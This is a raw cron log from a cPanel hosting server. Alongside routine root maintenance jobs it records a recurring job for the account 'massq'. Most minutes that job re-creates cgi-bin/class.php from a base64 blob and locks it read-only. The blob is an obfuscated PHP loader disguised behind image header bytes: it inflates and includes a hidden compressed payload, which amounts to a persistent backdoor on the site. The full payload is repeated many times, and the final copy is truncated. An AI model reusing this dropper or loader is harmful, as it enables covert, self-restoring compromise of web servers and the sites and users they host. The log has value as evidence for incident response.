Sep  8 15:15:01 server CROND[7232]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 15:15:01 server CROND[7229]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 15:16:01 server CROND[8151]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:16:01 server CROND[8153]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:16:01 server CROND[8152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:16:32 server crontab[8856]: (root) LIST (root)
Sep  8 15:16:40 server crontab[9142]: (root) LIST (root)
Sep  8 15:16:40 server crontab[9144]: (root) LIST (root)
Sep  8 15:16:45 server crontab[9262]: (root) LIST (root)
Sep  8 15:17:01 server crond[1999]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep  8 15:17:01 server crond[1999]: (bespokeapps) ORPHAN (no passwd entry)
Sep  8 15:17:01 server crond[1999]: (massivedesign) WRONG FILE OWNER (/var/spool/cron/massivedesign)
Sep  8 15:17:01 server CROND[9538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:17:01 server CROND[9540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:17:01 server CROND[9539]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:18:01 server CROND[10572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:18:01 server CROND[10573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:18:01 server CROND[10574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:19:01 server CROND[10956]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:19:01 server CROND[10958]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:19:01 server CROND[10957]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:20:01 server CROND[11339]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 15:20:01 server CROND[11342]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:20:01 server CROND[11343]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 15:20:01 server CROND[11344]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 15:20:01 server CROND[11349]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:20:01 server CROND[11346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:20:01 server CROND[11347]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:20:01 server CROND[11345]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:20:01 server CROND[11351]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 15:21:01 server CROND[12229]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:21:01 server CROND[12230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:21:01 server CROND[12231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:22:01 server CROND[12714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:22:01 server CROND[12715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:22:01 server CROND[12716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:23:01 server CROND[13078]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:23:01 server CROND[13079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:23:01 server CROND[13080]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:24:01 server CROND[13449]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:24:01 server CROND[13450]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:24:01 server CROND[13451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:25:01 server CROND[13844]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:25:01 server CROND[13846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:25:01 server CROND[13847]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:25:01 server CROND[13848]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 15:25:01 server CROND[13850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:25:01 server CROND[13849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:25:01 server CROND[13851]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 15:26:01 server CROND[14694]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:26:01 server CROND[14695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:26:01 server CROND[14696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:27:01 server CROND[15171]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 15:27:01 server CROND[15172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:27:01 server CROND[15173]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 15:27:01 server CROND[15174]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkF